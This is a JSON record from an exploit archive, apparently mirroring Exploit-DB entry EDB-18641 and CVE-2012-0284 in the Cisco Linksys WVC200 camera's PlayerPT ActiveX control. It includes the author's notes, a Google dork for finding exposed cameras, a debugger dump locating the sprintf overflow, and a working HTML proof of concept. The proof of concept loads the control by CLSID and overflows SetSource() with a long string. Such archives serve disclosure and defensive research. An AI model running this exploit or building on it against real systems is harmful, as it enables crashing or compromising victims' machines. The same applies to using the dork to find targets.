{"exploit":{"id":"EDB-18641","name":"Cisco Linksys WVC200 Wireless-G PTZ Internet Video Camera PlayerPT - ActiveX Control PlayerPT.ocx sprintf Buffer Overflow (PoC)","description":"Cisco Linksys WVC200 Wireless-G PTZ Internet Video Camera PlayerPT - ActiveX Control PlayerPT.ocx sprintf Buffer Overflow (PoC)","cves":["CVE-2012-0284"],"author":"rgod","published":"2012-03-22","platform":"windows","type":"dos","language":"HTML","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/18641","path":"exploits/windows/dos/18641.html","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-18641.html","vulnerabilities":[{"id":"CVE-2012-0284","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in the SetSource method in the Cisco Linksys PlayerPT ActiveX control 1.0.0.15 in PlayerPT.ocx on the Cisco WVC200 Wireless-G PTZ Internet video camera allows remote attackers to execute arbitrary code via a long URL in the first argument (aka the sURL argument).","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2012-0284","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2012-0284"},"updatedAt":"2024-08-06T18:23:29.190Z","retrievedAt":"2026-11-27T06:12:35.643Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-18641.png?v=2","url":"https://exploitbin.com/exploits/EDB-18641","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-18641/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-18641/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<!--\nCisco Linksys WVC200 Wireless-G PTZ Internet Video Camera PlayerPT ActiveX\nControl PlayerPT.ocx sprintf Buffer Overflow Vulnerability\n\nwhen viewing the device web interface it asks\nto install an ActiveX control with the following settings:\n\nProductName: PlayerPT ActiveX Control Module\nFile version: 1.0.0.15\nBinary path: C:\\WINDOWS\\system32\\PlayerPT.ocx\nCLSID: {9E065E4A-BD9D-4547-8F90-985DC62A5591}\nProgID: PLAYERPT.PlayerPTCtrl.1\nSafe for scripting (registry): True\nSafe for initialization (registry): True\n\ntry this google dork for WVC200:\nlinksys wireless-g ptz inurl:main.cgi\n\nVulnerability:\nthe SetSource() method is vulnerable to a buffer overflow\nvulnerability. Quickly, ollydbg dump:\n\n...\n03238225   8B5424 20        mov edx,dword ptr ss:[esp+20]\n03238229   894424 10        mov dword ptr ss:[esp+10],eax\n0323822D   B9 32000000      mov ecx,32\n03238232   33C0             xor eax,eax\n03238234   8B72 F8          mov esi,dword ptr ds:[edx-8]\n03238237   8DBC24 E8020000  lea edi,dword ptr ss:[esp+2E8]\n0323823E   F3:AB            rep stos dword ptr es:[edi]\n03238240   8B3D 0C062603    mov edi,dword ptr ds:[<&MSVCRT.sprintf>] ; msvcrt.sprintf\n03238246   52               push edx\n03238247   8D8C24 EC020000  lea ecx,dword ptr ss:[esp+2EC]\n0323824E   68 48612603      push PlayerPT.03266148                   ; ASCII \"%s\"\n03238253   51               push ecx\n03238254   FFD7             call edi <---------------boom\n...\n\nrgod\n-->\n<!-- saved from url=(0014)about:internet -->\n<HTML>\n<object classid='clsid:9E065E4A-BD9D-4547-8F90-985DC62A5591' id='obj' />\n</object>\n<script>\nvar x=\"\";\nfor (i=0; i<13999; i++){\n    x = x + \"aaaa\";\n}\nobj.SetSource(\"\",\"\",\"\",\"\",x);\n</script>","sha256":"78fe53e094374d7ee06f951aa53221706242f7bd5cb8b609a5a111c168001b77","bytes":1684,"fetchedAt":"2026-11-27T06:12:31.623Z","encoding":"utf-8 (display only; download retains original bytes)"}